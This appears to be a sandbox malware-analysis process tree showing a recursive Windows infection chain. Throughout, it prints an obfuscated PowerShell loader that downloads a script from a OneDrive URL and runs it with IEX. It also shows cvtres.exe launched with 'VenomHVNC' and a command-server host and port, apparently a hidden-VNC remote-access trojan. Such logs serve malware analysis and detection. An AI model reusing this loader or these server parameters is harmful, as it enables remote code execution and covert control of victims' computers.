        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        136⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5944
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        134⤵
        
        PID:7324
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        135⤵
        
        PID:7880
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        135⤵
        
        PID:8708
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        134⤵
        
        PID:12952
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        134⤵
        
        PID:11968
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        135⤵
        
        PID:4536
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        133⤵
        
        PID:4400
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        134⤵
        
        PID:12260
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        134⤵
        
        PID:13808
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        133⤵
        
        PID:12172
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        133⤵
        
        PID:2804
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        134⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5204
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        132⤵
        
        PID:14788
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        133⤵
        
        PID:14196
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        133⤵
        
        PID:12344
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        132⤵
        
        PID:15372
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        132⤵
        
        PID:14724
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        133⤵
        
        PID:15572
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        131⤵
        
        PID:6416
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        132⤵
        
        PID:13000
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        132⤵
        
        PID:13160
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        131⤵
        
        PID:14468
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        131⤵
        
        PID:13452
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        132⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7436
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        130⤵
        
        PID:15520
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        131⤵
        
        PID:1804
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        131⤵
        
        PID:11308
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        130⤵
        
        PID:11588
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        130⤵
        
        PID:12168
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        131⤵
        
        PID:15220
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        129⤵
        
        PID:9436
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        130⤵
        
        PID:3264
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        130⤵
        
        PID:6240
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        129⤵
        
        PID:14680
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        129⤵
        
        PID:11412
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        130⤵
        
        PID:15936
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        128⤵
        
        PID:14612
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        129⤵
        
        PID:14364
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        129⤵
        
        PID:15692
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        128⤵
        
        PID:2400
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        128⤵
        
        PID:15088
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        129⤵
        
        PID:14520
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        127⤵
        
        PID:11924
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        128⤵
        
        PID:7056
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        128⤵
        
        PID:2648
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        127⤵
        
        PID:10428
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        127⤵
        
        PID:12960
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        128⤵
        
        PID:15884
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        126⤵
        
        PID:13432
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        127⤵
        
        PID:12232
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        127⤵
        
        PID:10860
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        126⤵
        
        PID:14320
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        126⤵
        
        PID:11300
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        127⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11672
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        125⤵
        
        PID:16356
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        126⤵
        
        PID:2044
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        126⤵
        
        PID:692
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        125⤵
        
        PID:15244
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        125⤵
        
        PID:8540
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        126⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10748
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        124⤵
        
        PID:2756
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        125⤵
        
        PID:4228
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        125⤵
        
        PID:7200
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        124⤵
        
        PID:14356
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        124⤵
        
        PID:9432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        125⤵
        
        PID:15832
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        123⤵
        
        PID:16148
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        124⤵
        
        PID:12272
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        124⤵
        
        PID:11516
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        123⤵
        
        PID:13544
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        123⤵
        
        PID:16056
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        124⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14916
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        122⤵
        
        PID:7140
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        123⤵
        
        PID:7872
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        123⤵
        
        PID:12216
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        122⤵
        
        PID:12636
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        122⤵
        
        PID:15992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        123⤵
        
        PID:5500
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        121⤵
        
        PID:6932
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        122⤵
        
        PID:15744
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        122⤵
        
        PID:2528
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        121⤵
        
        PID:11444
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        121⤵
        
        PID:14532
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        122⤵
        
        PID:12204
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        120⤵
        
        PID:5328
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        121⤵
        
        PID:15624
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        121⤵
        
        PID:15648
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        120⤵
        
        PID:15900
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        120⤵
        
        PID:15480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        121⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1400
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        119⤵
        
        PID:13260
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        120⤵
        
        PID:12308
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        120⤵
        
        PID:13168
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        119⤵
        
        PID:11868
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        119⤵
        
        PID:14748
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        120⤵
        
        PID:14804
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        118⤵
        
        PID:9436
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        119⤵
        
        PID:10304
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        119⤵
        
        PID:12912
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        118⤵
        
        PID:5356
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        118⤵
        
        PID:5568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        119⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12456
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        117⤵
        
        PID:13488
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        118⤵
        
        PID:9668
        
